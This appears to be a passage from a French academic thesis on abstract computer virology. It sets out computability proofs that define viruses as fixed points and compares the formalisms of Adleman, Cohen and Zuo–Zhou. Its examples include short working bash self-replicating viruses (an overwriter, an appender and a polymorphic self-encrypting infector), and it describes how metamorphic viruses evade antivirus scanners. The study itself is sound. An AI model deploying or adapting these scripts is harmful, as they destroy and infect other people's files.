$$\mathbf{p} \in T \Rightarrow S(\mathbf{e}, \mathbf{p}) \in P \ .$$

- Supposons que $\mathbf{p} \notin T$, alors $\varphi_{\mathbf{p}}$ n'est pas calculable et donc « pas totale ». Or le domaine de $\lambda y.g(\mathbf{p}, y)$ est inclus dans celui de $\varphi_{\mathbf{p}}$, il suit que $\lambda y.g(\mathbf{p}, y)$ et $\varphi_{S(\mathbf{e},\mathbf{p})}$ ne sont pas totales. Comme f est totale (calculable), nécessairement $\varphi_{S(\mathbf{e},\mathbf{p})} \not\approx f$, et $S(\mathbf{e}, \mathbf{p}) \notin P$. On a

$$\mathbf{p} \notin T \Rightarrow S(\mathbf{e}, \mathbf{p}) \notin P \ .$$

On conclut que $\mathbf{p} \in T \Leftrightarrow S(\mathbf{e}, \mathbf{p}) \in P$ et que P est un ensemble Π_2-complet. □

Théorème 7. *Il existe une fonction calculable qui admet un ensemble de points fixes Π_2-complet.*

Démonstration. Nous noterons F l'ensemble des points fixes de f.

Soit f une fonction calculable et $\mathbf{p}$ un programme la calculant. F est donné par l'ensemble des programmes $\mathbf{e}$ validant $\forall x \exists y \ : \ \varphi_{\mathbf{p}}(\mathbf{e}, x) \equiv y \wedge \varphi_{\mathbf{e}}(x) \equiv y$ qui est une formule Π_2. Par suite F est bien un ensemble Π_2.

Montrons maintenant que F est Π_2-complet. Soit un mot de $\mathcal{D}$ que nous désignons par « 1 ». On considère la fonction calculable $f(x, y) = 1$. D'après le théorème 6 l'ensemble P des programmes calculant f est Π_2-complet. Montrons que P est identique à F.

- Supposons que $\mathbf{e} \in P$, alors $\varphi_{\mathbf{e}} \approx 1$, de plus $\lambda y.f(\mathbf{e}, y) \approx 1$ donc $\varphi_{\mathbf{e}} \approx \lambda y.f(\mathbf{e}, y)$. Il suit que $\mathbf{e}$ est point fixe de f, on a

$$\mathbf{e} \in P \Rightarrow \mathbf{e} \in F \ .$$

- Supposons que $\mathbf{e} \notin P$, alors $\varphi_{\mathbf{e}} \not\approx 1$. Or $\lambda y.f(\mathbf{e}, y) \approx 1$. On en déduit que $\varphi_{\mathbf{e}} \not\approx \lambda y.f(\mathbf{e}, y)$, et $\mathbf{e}$ n'est pas un point fixe de f. On a

$$\mathbf{e} \notin P \Rightarrow \mathbf{e} \notin F \ .$$

On conclut que $\mathbf{e} \in P \Leftrightarrow \mathbf{e} \in F$ et que F est un ensemble Π_2-complet. □

Chapitre 2

Virologie abstraite

2.1 Virulence

Un virus est communément vu comme un programme qui se reproduit, il peut en plus exécuter d'autres actions. La reproduction induit une notion de propagation qui peut prendre plusieurs formes. Par exemple, `Jérusalem` se propage à travers les programmes exécutables, `Morris` utilise le réseau Internet, `loveletter` emploie des macros et se propage sur le réseau de courriel et `Sapphire/Slammer` est un simple paquet `UDP` infectant les serveurs `IIS`.

On comprend que la virulence d'un programme est relative au mécanisme de propagation. Par exemple, le vers `Sapphire/Slammer` sera incapable de se propager sur une machine isolé de tout réseau.

2.1.1 Propagation

Nous considérons une fonction $\mathcal{B}$ qui cherche et sélectionne une liste de programmes $\mathbf{p} = (\mathbf{p}_1, ..., \mathbf{p}_n)$ parmi ses données d'entrée. Nous noterons ces entrées $(\mathbf{p}, x)$ sans restrictions particulières (nous pourrions considérer un nouveau codage des couples). Ensuite, $\mathcal{B}$ reproduit le programme viral à travers $\mathbf{p}$. En d'autres termes, $\mathcal{B}$ est le vecteur de transmission du virus. D'un point de vue plus concret, $\mathcal{B}$ peut être vu comme une faille de l'environnement de programmation. $\mathcal{B}$ serait alors une particularité du langage de programmation qui permet à un virus de se propager.

Nous proposons maintenant une formalisation de la notion de virus qui couvre le cadre précédemment décrit.

Définition 11 (*Virus*). *Soit $\mathcal{B}$ une fonction semi-calculable. Un* virus *est défini relativement à $\mathcal{B}$ comme un programme $\mathbf{v}$ tel que pour tous mots $\mathbf{p}$ et x,*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \ .$$

$\mathcal{B}$ est appelée la fonction de propagation de $\mathbf{v}$.

Par la suite, nous nommerons *virus* tout programme satisfaisant la définition précédente.

2.1.2 Duplication

Une propriété essentielle des virus est l'auto-reproduction. Cette notion a été largement étudiée dans le cadre des automates cellulaires de J. von Neumann [vN66]. Par la suite, F. Cohen

exposa comment un virus peut se reproduire dans le cadre des machines de Turing, ce que nous étudierons dans la partie 2.2.2. Ici, nous mettons en évidence plusieurs méthodes de duplication. Nous exposons aussi quelques mécanismes qui illustrent le rôle important que joue le théorème de récursion.

Nous présentons une première définition de l'auto-reproduction (un autre point de vue sera étudié dans la partie 2.3). Une fonction de duplication Δ est une fonction calculable tel que pour tous mots $\mathbf{p}$ et $\mathbf{v}$, $\Delta(\mathbf{v}, \mathbf{p})$ contienne au moins une occurrence de $\mathbf{v}$. Un duplicateur pour Δ est un *virus* $\mathbf{v}$ qui satisfait $\varphi_{\mathbf{v}}(\mathbf{p}, x) = \Delta(\mathbf{v}, \mathbf{p})$ pour tous mots $\mathbf{p}$ et x. L'existence de duplicateur est donnée par le théorème suivant en remplaçant la fonction f par Δ.

Théorème 8. *Pour toute fonction calculable f, il existe un* virus $\mathbf{v}$ *tel que* $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p})$.

Démonstration. On définit la fonction calculable $g(y, \mathbf{p}, x) = f(y, \mathbf{p})$. L'application du théorème de récursion fournie un programme $\mathbf{v}$ tel que pour tous mots $\mathbf{p}$ et x,

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = g(\mathbf{v}, \mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}) \ .$$

Ensuite, avec $\mathbf{e}$ un programme calculant g, on définit $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$. On a alors

$$\begin{aligned} \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) &= \varphi_{S(\mathbf{e},\mathbf{v},\mathbf{p})}(x) && \text{par définition de } \mathcal{B} \\ &= g(\mathbf{v}, \mathbf{p}, x) && \text{par le théorème d'itération} \\ \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) &= \varphi_{\mathbf{v}}(\mathbf{p}, x) && \text{par définition de } \mathbf{v} \ . \end{aligned}$$

Le programme $\mathbf{v}$, *virus* relativement à $\mathcal{B}$, satisfait le théorème. □

On remarquera que la fonction de propagation est intimement liée à la fonction s-m-n. La fonction S spécialise le programme $\mathbf{e}$ pour $\mathbf{v}$ et $\mathbf{p}$ et construit une forme infectée de $\mathbf{p}$. Ensuite, la propriété de duplication induit la reproduction de $\mathbf{v}$. Dans un certain sens on peut considérer la fonction s-m-n comme une faille inhérente à tout langage de programmation.

2.1.3 Exemple de duplication

Pour illustrer la notion de duplication nous exposons quelques exemples. Ils sont inspirés des livres de M. Ludwig [Lud98] et de E. Filiol [Fil04].

Cloneur. Un *cloneur* est un duplicateur pour la fonction

$$\Delta(\mathbf{v}, \mathbf{p}) = \mathbf{v} \ . \tag{2.1}$$

Etant extrêmement simple, cette méthode est l'une des plus utilisées en pratique. La plupart des virus de courriel l'utilise pour copier leur code dans plusieurs répertoires du système infecté. Par exemple, le vers `loveletter` se recopie sous la forme de `MSKernel32.vbs`. On peut illustrer un tel virus par le programme suivant.

```
cat $0 > $0.copy
```

Ecraseur. On suppose $\mathbf{p} = (\mathbf{p}_1, ..., \mathbf{p}_n)$. Un *écraseur* est un duplicateur pour la fonction

$$\Delta(\mathbf{v}, \mathbf{p}) = (\delta(\mathbf{v}, \mathbf{p}_1), ..., \delta(\mathbf{v}, \mathbf{p}_n)) \ , \tag{2.2}$$

avec δ une fonction de duplication telle que pour tous mots $\mathbf{v}$ et $\mathbf{q}$, $|\delta(\mathbf{v}, \mathbf{q})| \leq |\mathbf{q}|$. Si on considère que $\mathbf{p}$ représente une structure de fichiers, on constate que l'infection la conserve et que l'espace mémoire occupé n'augmente pas. Ces propriétés rendent la détection de tels virus plus difficile.

Un écraseur est par essence un programme « malicieux » au sens où il remplace des codes existants par le sien. Un exemple réel d'écraseur est le virus `4780 Overwriting`. Le programme suivant en est un autre.

```
for FName in $(ls *.infect.sh); do
 LENGTH=‘wc -m ./$FName‘
 if [ ./$FName != $0 -a "193" -le "${LENGTH%*./$FName}" ]; then
  echo [$0 infect ./$FName]
  cat $0 > ./$FName
 fi
done
```

Symbiote. Un *symbiote* est un virus qui « vit à travers ses hôtes ». Par exemple, avec $\mathbf{p} = (\mathbf{p}_1, ..., \mathbf{p}_n)$, nous qualifions de symbiote le duplicateur pour la fonction

$$\Delta(\mathbf{v}, \mathbf{p}) = (\mathbf{p}_1 \cdot \mathbf{v}, ..., \mathbf{p}_n \cdot \mathbf{v})) \ , \tag{2.3}$$

où $\cdot$ désigne la concaténation.

Beaucoup de cas réels s'apparentent à ce genre de contamination, par exemple les virus compagnons, les virus par ajout de code, et même, dans une certaine mesure, les virus résidents. Mais pour ce dernier exemple, il nous manque la notion de pointeur pour être tout à fait rigoureux.

Pour illustrer cette idée nous proposons le programme suivant qui ajoute son code à la fin de tous les programmes qu'il infecte.

```
for FName in $(ls *.infect.sh); do
 if [ ./$FName != $0 ]; then
  echo [$0 infect ./$FName]
  tail $0 -n 6 | cat >> ./$FName
 fi
done
```

Un exemple concret est le virus `Jerusalem` qui se greffe sur des fichiers exécutables (`.COM` et `.EXE`).

2.1.4 Virus implicite

Nous allons maintenant construire un *virus* qui réalise différentes actions, suivant certaines conditions (déclencheurs). Cette construction de virus est très générale et permet de décrire de nombreux cas pratiques.

Théorème 9. *Soient $C_1, ..., C_n$ des sous ensembles de $\mathcal{D}$ semi-calculables et disjoints, $V_1, ..., V_n$ des fonctions semi-calculables. Il existe un* virus $\mathbf{v}$ *tel que*

$$\varphi_{\mathbf{v}}(\mathbf{v}, \mathbf{p}, x) = \begin{cases} V_1(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} . \tag{2.4}$$

Démonstration. On définit

$$F(y,\mathbf{p},x) = \begin{cases} V_1(y,\mathbf{p},x) & (\mathbf{p},x) \in C_1 \\ \vdots & \\ V_k(y,\mathbf{p},x) & (\mathbf{p},x) \in C_k \end{cases} .$$

La fonction F est semi-calculable, soit $\mathbf{e}$ un programme la calculant. Comme précédemment le théorème de récursion fournit $\mathbf{v}$ tel que $\varphi_{\mathbf{v}}(\mathbf{p},x) = F(\mathbf{v},\mathbf{p},x)$. Le programme $\mathbf{v}$ est un *virus* relativement à la fonction de propagation $\mathcal{B}(\mathbf{v},\mathbf{p}) = S(\mathbf{e},\mathbf{v},\mathbf{p})$ et par suite $\mathbf{v}$ satisfait le théorème. □

2.2 Formalismes antérieurs

Nous reprenons les principaux travaux en virologie abstraite et montrons qu'ils entrent dans le cadre de notre définition.

2.2.1 Virus d'Adleman

L'article [Adl88] propose le scénario selon lequel un virus est une fonction associant chaque programme à sa forme infectée. Ensuite, on impose aux formes infectées d'avoir certaines propriétés induisant la nocivité (2.5), la propagation (2.6) et la furtivité (2.7) du virus. L'action entreprise par le virus dépend de l'entrée qui est présentée au programme infecté.

Définition 12 (Virus d'Adleman)**.** *Une fonction calculable $\mathcal{A}$ est un* A-virus *(un virus au sens d'Adleman) si pour chaque mot x, l'un des trois cas suivants est validé.*

$$\forall \mathbf{p},\mathbf{q} \in \mathcal{D} \ : \ \varphi_{\mathcal{A}(\mathbf{p})}(x) = \varphi_{\mathcal{A}(\mathbf{q})}(x) \tag{2.5}$$

$$\forall \mathbf{p} \in \mathcal{D} \ : \ \varphi_{\mathcal{A}(\mathbf{p})}(x) = \mathcal{A}(\varphi_{\mathbf{p}}(x)) \tag{2.6}$$

$$\forall \mathbf{p} \in \mathcal{D} \ : \ \varphi_{\mathcal{A}(\mathbf{p})}(x) = \varphi_{\mathbf{p}}(x) \ . \tag{2.7}$$

La nuisance (2.5) traduit l'exécution d'une charge virale indépendante du programme infecté. Le cas (2.6) correspond à l'infection de nouveaux programmes. La propagation se fait par composition de $\mathcal{A}$, on produit ainsi une nouvelle forme infectée. Le dernier cas (2.7) induit une certaine furtivité dans le sens où le programme infecté imite l'original pour certaines entrées.

On constatera que cette définition est très proche de l'exemple de l'écraseur de la partie 2.1.3.

Théorème 10. *Pour tout* A-virus*, il existe un* virus *(dans notre formalisme) ayant les mêmes propriétés.*

Démonstration. Soient $\mathcal{A}$ un *A-virus* et $\mathbf{e}$ un programme calculant $\mathcal{A}$. La fonction $\Lambda(x,y,z) = \varphi_{\varphi_x(y)}(z)$ est semi-calculable comme composée de fonctions semi-calculable. Soit $\mathbf{q}$ un programme calculant Λ. On pose $\mathbf{v} = S(\mathbf{q},\mathbf{e})$ et on obtient

$$\begin{aligned} \varphi_{\mathcal{A}(\mathbf{p})}(x) &= \varphi_{\varphi_{\mathbf{e}}(\mathbf{p})}(x) && \text{par définition de } \mathbf{e} \\ &= \Lambda(\mathbf{e},\mathbf{p},x) && \text{par définition de } \Lambda \\ &= \varphi_{\mathbf{q}}(\mathbf{e},\mathbf{p},x) && \text{par définition de } \mathbf{q} \\ &= \varphi_{S(\mathbf{q},\mathbf{e})}(\mathbf{p},x) && \text{par le théorème d'itération} \\ \varphi_{\mathcal{A}(\mathbf{p})}(x) &= \varphi_{\mathbf{v}}(\mathbf{p},x) && \text{par définition de } \mathbf{v} \ . \end{aligned}$$

On conclut que $\mathbf{v}$ est un *virus* pour $\mathcal{B}(\mathbf{v},\mathbf{p}) = \mathcal{A}(\mathbf{p})$. □

2.2.2 Virus de Cohen

Dans sa thèse [Coh86], F. Cohen prend un point de vue très proche des automates cellulaires auto-reproducteurs de J. von Neumann [vN66]. Ainsi, un virus pour une machine de Turing M est une séquence de caractères qui, si on l'exécute (tête en début de séquence dans l'état initial), elle est recopiée plus loin sur le ruban.

Nous reprenons le formalisme de F. Cohen avec quelques modifications. Nous faisons abstraction de l'état, on considèrera par exemple qu'il est codé sur les cases du ruban. De plus, nous n'étudions que les machine de Turing « qui terminent ».

Pour la définition d'une machine de Turing, nous nous référons à [Tur36] et à [Rog67]. Soit M une machine de Turing, on suppose que l'on dispose des codages sur $\mathcal{D}$ nous permettant de représenter les lettres, les séquences, les positions et les rubans de M. Nous introduisons les notations suivantes.

Exécution Pour tout ruban x et toute position i, $M(x,i)$ est le ruban résultant de l'exécution de la machine M sur x avec la tête en position i.

Ecriture Pour tout ruban x, toute position i, toute lettre a et toute séquence $\mathbf{s} = (s_0, ..., s_n)$.

- $x[i \leftarrow a]$ désigne le ruban résultant de la substitution de la i-ème lettre de x par la lettre a.
- On généralise au séquences en notant $x[i \leftarrow \mathbf{s}] = x[i \leftarrow s_0]...[i+n \leftarrow s_n]$ le ruban résultant de l'écriture de $\mathbf{s}$ sur les cases $i, ..., (i+n)$ du ruban x.

Les fonctions $\lambda xi.M(x,i)$ et $\lambda xi\mathbf{s}.x[i \leftarrow \mathbf{s}]$ sont semi-calculables.

Proposition 3. *Il existe une fonction $P(x, \mathbf{s}, i)$ semi-calculable qui pour tous x, $\mathbf{s}$ et i, retourne la position de la première occurrence de $\mathbf{s}$ sur $M(x[i \leftarrow \mathbf{s}], i)$.*

Démonstration. On commence par calculer $M(x[i \leftarrow \mathbf{s}], i)$ et on examine le ruban résultant case par case. On peut alors déterminer la position de la première occurrence de $\mathbf{s}$. Le calcule diverge si $\mathbf{s}$ n'est pas présent. □

Nous pouvons maintenant définir la notion de virus selon le formalisme de F. Cohen.

Définition 13 (Virus de Cohen)**.** *Une séquence $\mathbf{c}$ est un* C-virus *(un virus au sens de Cohen) relativement à la machine de Turing M, si pour toute position i et tout ruban x, il existe un ruban y et une position j tels que*

$$M(x[i \leftarrow \mathbf{c}], i) = y[j \leftarrow \mathbf{c}] \ . \tag{2.8}$$

$x[i \leftarrow \mathbf{c}]$ traduit le fait que la séquence $\mathbf{c}$ est en tête, ainsi, $M(x[i \leftarrow \mathbf{c}], i)$ correspond à l'exécution de $\mathbf{c}$. Ensuite, $y[j \leftarrow \mathbf{c}]$ rend compte de la présence de $\mathbf{c}$ après son exécution.

Proposition 4. *Pour tout* C-virus $\mathbf{c}$*, relativement à une machine de Turing M, toute position i et tout ruban x,*

$$M(x[i \leftarrow \mathbf{c}], i) = M(x[i \leftarrow \mathbf{c}], i)[P(x, \mathbf{c}, i) \leftarrow \mathbf{c}] \tag{2.9}$$

Démonstration. Soient $\mathbf{c}$ une séquence virale pour M, x un ruban et i une position. Par définition, il existe un ruban y et une position j tels que $M(x[i \leftarrow \mathbf{c}], i) = y[j \leftarrow \mathbf{c}]$. Sans restriction, on peut considérer que j est la position de la première occurrence de $\mathbf{c}$ sur y, ainsi $j = P(x, \mathbf{c}, i)$, où P est la fonction de la proposition 3.

On remarque que $M(x[i \leftarrow \mathbf{c}], i)$ contient $\mathbf{c}$ à la position $P(x, \mathbf{c}, i)$, donc

$$M(x[i \leftarrow \mathbf{c}], i) = M(x[i \leftarrow \mathbf{c}], i)[P(x, \mathbf{c}, i) \leftarrow \mathbf{c}] \ ,$$

ce qui prouve la proposition. □

Nous lions cette définition et notre formalisme, en définissant un *virus* qui spécialise M pour une séquence virale $\mathbf{c}$.

Théorème 11. *Pour tout* C-virus $\mathbf{c}$*, relativement à une machine de Turing* M *il existe un* virus *(selon notre formalisme) qui spécialise* M *pour* $\mathbf{c}$.

Démonstration. Soit $\mathbf{c}$ un *C-virus* pour une machine M. On définit les fonctions semi-calculables g et h par $g(y,i,x) = \varphi_y(i,x)[P(x,\mathbf{c},i) \leftarrow \mathbf{c}]$ et $h(i,x) = M(x[i \leftarrow \mathbf{c}],i)$. On considère $\mathbf{e}$ et $\mathbf{v}$ des programmes respectifs de g et h. On a alors

$$\begin{aligned}
M(x[i \leftarrow \mathbf{c}],i) &= M(x[i \leftarrow \mathbf{c}],i)[P(x,\mathbf{c},i) \leftarrow \mathbf{c}] && \text{par la proposition 4}\\
h(i,x) &= h(i,x)[P(x,\mathbf{c},i) \leftarrow \mathbf{c}] && \text{par définition de } h\\
\varphi_{\mathbf{v}}(i,x) &= \varphi_{\mathbf{v}}(i,x)[P(x,\mathbf{c},i) \leftarrow \mathbf{c}] && \text{par définition de } \mathbf{v}\\
\varphi_{\mathbf{v}}(i,x) &= g(\mathbf{v},i,x) && \text{par définition de } g
\end{aligned}$$

On conclut que $\mathbf{v}$ est un *virus* pour la fonction de propagation $\mathcal{B}(\mathbf{v},i) = S(\mathbf{e},\mathbf{v},i)$. □

On remarquera que le point fixe $\mathbf{v}$ est le code correspondant à l'écriture de $\mathbf{c}$ en tête suivie de l'exécution de M, en d'autres termes, une spécialisation de M pour $\mathbf{c}$. Quand au mécanisme de propagation $\mathcal{B}$, il correspond à l'écriture d'une séquence en tête, ce qui peut être comparé à une pré-exécution.

2.3 Polymorphisme

Une méthode largement utilisée par les éditeurs d'antivirus est l'analyse de fichiers. Cette technique, consiste à rechercher une séquence d'octets particulière, une signature, à travers les fichiers présents sur le système. Les signatures résultent de l'ingénierie inverse de codes viraux, ainsi elles sont sensées filtrer seulement les virus mais pas les programmes considérés comme « sain ».

2.3.1 Description

Pour contrecarrer cette méthode, on peut considérer un ancien virus et modifier quelques instructions de manière à ce qu'il possède une signature différente. Par exemple en considérant la signature suivante.

```
for FName in $(ls *.infect.sh);do
 if [ ./$FName != $0 ];then
  cat $0 > ./$FName
 fi
done
```

Il est extrêmement simple de modifier ce code sans changer son fonctionnement.

```
OUT=cat
for FName in $(ls *.infect.sh);do
 if [ ./$FName != $0 ];then
  $OUT $0 > ./$FName
 fi
done
```

Un virus polymorphique utilise cette idée, quand il se duplique, il change certaines parties de son code de manière à paraître différent.

Les concepteurs de virus ont étudié ces techniques depuis le début des années 90, les fruits de cette activité sont les moteurs de polymorphisme, le premier et le plus connu étant `Dark Avenger`. Un tel moteur se présente comme un module qui fournit une version différente, mais sémantiquement identique, du code avec lequel il est lié.

La plupart de ces moteurs utilisent des fonctions classiques d'encryptage et de décryptage. Le principe est de casser le programme en deux, la première partie est chargée de décrypter la seconde et de lui passer la main. Ensuite, cette seconde partie génère un nouveau décrypteur, s'encrypte, et lie les deux parties pour produire un nouveau virus.

Un virus ayant ces propriétés peut se présenter sous la forme suivante.

```
SP=007
LENGTH=17
ALPHA=azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN
C1=${ALPHA:`expr $RANDOM % 52`:1}
C2=${ALPHA:`expr $RANDOM % 52`:1}
#add the decryptor
echo "SP=007" > ./tmp
echo "tail -n $LENGTH \$0 | sed -e \"s/$C1/\$SP/g\" -e \"s/$C2/$C1/g\" -e \
    "s/\$SP/$C2/g\" -e \"s/SP=$C2/SP=$SP/g\"> ./vx" >> ./tmp
echo "./vx" >> ./tmp
echo "exit 0" >> ./tmp
#encrypt and add viral code
cat $0 | sed -e "s/$C1/$SP/g" -e "s/$C2/$C1/g" -e "s/$SP/$C2/g" -e "s/SP=
    $C2/SP=$SP/g" >> ./tmp
#infect
for FName in $(ls *.infect.sh); do
 cat ./tmp >> ./$FName
done
rm -f ./tmp
```

La prise en compte de ce genre de virus dans notre formalisme est essentielle. En faisant un parallèle avec la partie 2.1.2 nous définissons une nouvelle fonction de duplication Γ dénommée fonction de mutation. Cette fonction est telle que le mot $\Gamma(\mathbf{v}, \mathbf{p})$ contienne au moins une occurrence d'un *virus* $\mathbf{v}'$, on dira que $\mathbf{v}'$ est une forme mutée, ou évoluée, de $\mathbf{v}$.

2.3.2 Formalisme de Z. Zuo et M. Zhou

L'existence de virus polymorphiques avait été prédite par F. Cohen et L. Adleman, mais, à notre connaissance, Z. Zuo et M. Zhou [ZZ04] sont les premiers à avoir proposé une définition pour décrire le processus de mutation. Ils construisent un virus possédant une infinité de formes.

Définition 14. *Soient T et I deux ensembles calculables disjoints. Une fonction calculable $\mathcal{ZZ}$ est un* ZZ-virus *si pour tous mots n et q,*

$$\varphi_{\mathcal{ZZ}(n,\mathbf{q})}(x) = \begin{cases} D(x) & \textit{si } x \in T \textit{ (Nuisance)} \\ \mathcal{ZZ}(n+1, \varphi_{\mathbf{q}}(x)) & \textit{si } x \in I \textit{ (Infection)} \\ \varphi_{\mathbf{q}}(x) & \textit{sinon (Imitation)} \end{cases} . \tag{2.10}$$

Cette définition est très proche de celle de L. Adleman. La principale différence réside dans la présence de l'argument n. On peut définir l'ensemble des mutations d'un programme infecté $\mathbf{q}$ par $\{\mathcal{ZZ}(n, \mathbf{q}) \mid n \in \mathcal{D}\}$. Pour chaque n on associe une génération de virus.

Théorème 12. *Pour tout* ZZ-virus*, il existe un* virus *(dans notre formalisme) ayant les mêmes propriétés.*

Démonstration. Conséquence directe du théorème 10 avec $\mathbf{p} = (n, \mathbf{q})$. □

2.3.3 Générateurs de polymorphisme

Les théorèmes 8 et 9 permettent de voir un virus comme le point fixe d'une fonction semi-calculable. En d'autres termes, un virus est obtenu par résolution de l'équation $\varphi_{\mathbf{e}}(\mathbf{p}, x) = f(\mathbf{e}, \mathbf{p}, x)$.

Ainsi chaque point fixe constitue un *virus*. Nous avons vue avec le théorème 7 que l'ensemble de ces points fixes pouvait être Π_2-complet, donc non semi-calculable. Par conséquent, il sera impossible d'énumérer tous les points fixes, en d'autres termes tous les virus. Nous développerons cette idée en 3.1.1.

Par contre, grâce au théorème de récursion de Rogers, il est possible d'énumérer une partie de ces points fixes.

Théorème 13 (Générateur de *virus*)**.** *Si f une fonction semi-calculable alors il existe une fonction calculable $\mathcal{G}$ telle que*

$$\forall i \in \mathcal{D} \ : \mathcal{G}(i) \textit{ est un } \text{virus} \tag{2.11}$$
$$\forall i, j \in \mathcal{D} \ : i \neq j \Rightarrow \mathcal{G}(i) \neq \mathcal{G}(j) \tag{2.12}$$
$$\forall i, x, \mathbf{p} \in \mathcal{D} \ : \varphi_{\mathcal{G}(i)}(\mathbf{p}, x) = f(\mathcal{G}(i), \mathbf{p}) \ . \tag{2.13}$$

Démonstration. Soit f une fonction semi-calculable, on définit la fonction f_1 par $f_1(y, \mathbf{p}, x) = f(y, \mathbf{p})$. Soit $\mathbf{e}$ un code calculant f_1, on définit f_2 par $f_2(y) = S(\mathbf{e}, y)$ et on a

$$f(y, \mathbf{p}) = f_1(y, \mathbf{p}, x) = \varphi_{f_2(y)}(\mathbf{p}, x) \ .$$

Notons que f_2 est calculable. Le corollaire 5 nous fournit une fonction calculable $\mathcal{G}$ tel que

$$\forall i \in \mathcal{D} \ : \varphi_{\mathcal{G}(i)} \approx \varphi_{f_2(\mathcal{G}(i))} \tag{✓}$$
$$\forall i, j \in \mathcal{D} \ : i \neq j \Rightarrow \mathcal{G}(i) \neq \mathcal{G}(j) \ . \tag{2.13}$$

Il suit que pour tout i,

$$\begin{aligned} \varphi_{\mathcal{G}(i)}(\mathbf{p}, x) &= \varphi_{f_2(\mathcal{G}(i))}(\mathbf{p}, x) && \text{par (✓)} \\ &= f_1(\mathcal{G}(i), \mathbf{p}, x) && \text{par définition de } f_2 \\ \varphi_{\mathcal{G}(i)}(\mathbf{p}, x) &= f(\mathcal{G}(i), \mathbf{p}) && \text{par définition de } f_1 \ . \end{aligned} \tag{2.12}$$

De plus, pour tout i, $\mathcal{G}(i)$ est un *virus* pour $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$, ce qui donne propriété (2.11). On conclut que $\mathcal{G}$ satisfait le théorème. □

Intuitivement, on peut considérer qu'un générateur de *virus* réalise la même action qu'un moteur de polymorphisme.

2.4 Métamorphisme

Pour se prémunir contre les virus polymorphiques, les éditeurs d'antivirus ont utilisé des techniques d'émulation et d'analyse statique. Le principe de l'émulation de code est d'exécuter les programmes dans un environnement fictif contrôlé. Ainsi, un virus encrypté se décodera dans la mémoire de l'environnement contrôlé et une recherche de signature peut être faite sur le code en clair. En ce qui concerne les analyseurs statiques, ce sont des moteurs de recherche de signature capables de reconnaître des variantes simples de codes viraux.

2.4.1 Description

Pour mettre à mal ces méthodes, depuis 2001, les concepteurs de virus s'intéressent au métamorphisme, un polymorphisme amélioré. Alors qu'un moteur de polymorphisme génère des codes de décryptage variables, un moteur de métamorphisme produira un code entièrement variable, grâce notamment à des techniques « d'offuscation ». De plus, un tel virus sera capable de modifier son comportement s'il détecte un environnement contrôlé.

L'exécution d'un virus métamorphique se déroule en plusieurs étapes. Tout d'abord, il désassemble son propre code, ensuite, il recrée un nouveau code en utilisant son environnement et les informations résultant du désassemblage. Si un environnement contrôlé est détecté, il se transformera en un programme sain, sinon il générera une duplication virale nouvelle.

Un tel virus est extrêmement difficile à analyser, il faut parfois une longue période aux analystes pour connaître toutes les actions du virus. Durant cette période, le virus en question se propage librement.

2.4.2 Exemple

Nous présentons en annexe A.1 un virus métamorphique. Ce virus est constitué de blocs, lors de sa duplication il désassemble ses blocs, les sauvegarde sur le système et sélectionne de nouveaux blocs parmi ceux présents dans le système. Ensuite, il assemble un nouveau virus en utilisant tous les blocs à sa disposition.

Chaque bloc possède une fonction précise, dans notre exemple, il existe un bloc de désassemblage, un bloc de réassemblage et un bloc de duplication. Pour un exemple réel, il est possible d'ajouter des blocs d'offuscation ou d'anti-débuggage.

On remarquera qu'il est aussi possible renouveler la population de blocs par la production de nouveaux virus. Les nouvelles générations pourront profiter des anciens blocs à la manière d'une « bibliothèque génétique », chaque bloc constituant un « gène ».

Cet exemple est inspiré d'articles récents de concepteurs de virus.

2.4.3 Formalisme associé

La définition de Z. Zuo et M. Zhou décrite en 2.3.2 est trop limitée pour prendre en compte le métamorphisme. La forme suivante d'un virus ne peut pas seulement dépendre de sa forme précédente. Pour comprendre le métamorphisme, il nous semble essentiel de considérer l'équation $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$ dans son intégralité. C'est à dire que l'étude d'une population virale (ensemble de points fixes) peut dépendre de tous les paramètres disponibles.

D'autre part, on peut interpréter la fonction s-m-n de la manière suivante. Lorsque un virus métamorphique produit une nouvelle génération, cette dernière est en quelque sorte une spécialisation du virus pour son l'environnement. En particulier si l'environnement est contrôlé, la spécialisation sera “ saine ”.

Nous pensons approfondir cette voie lors de recherches ultérieures.

Chapitre 3

Détection et protection

3.1 Virus et calculabilité

Nous nous intéressons à différentes méthodes de défenses pour se prémunir contre les populations virales. Nous présenterons quelques résultats de calculabilité, mais malheureusement la majeure partie d'entre eux tourne en faveur des concepteurs de virus.

3.1.1 Ensemble des *virus*

Etant donnée une fonction de propagation $\mathcal{B}$, notre objectif est de savoir s'il est possible de détecter les *virus* utilisant cette méthode de propagation. D'un point de vue général un tel ensemble est « au plus » Π_2.

Proposition 5. *L'ensemble des* virus *pour une fonction de propagation $\mathcal{B}$ est Π_2.*

Démonstration. Soit $\mathbf{q}$ un programme calculant $\mathcal{B}$, l'ensemble des *virus* associés est exprimé par la formule

$$\forall x, \mathbf{p} \exists y_1, y_2, y_3, y_4 \begin{cases} (\mathbf{p}, x) = y_1 \wedge (\mathbf{v}, \mathbf{p}) = y_2 \wedge \\ \varphi_{\mathbf{q}}(y_2) = y_3 \wedge \\ \varphi_{\mathbf{v}}(y_1) = y_4 \wedge \varphi_{y_3}(x) = y_4 \end{cases}, \tag{3.1}$$

qui est Π_2. □

Nous étudions maintenant deux mécanismes de propagations particuliers.

Certains ensembles sont indécidables

Théorème 14. *Il existe $\mathcal{B}$ tel que l'ensemble des* virus *associés est Π_2-complet.*

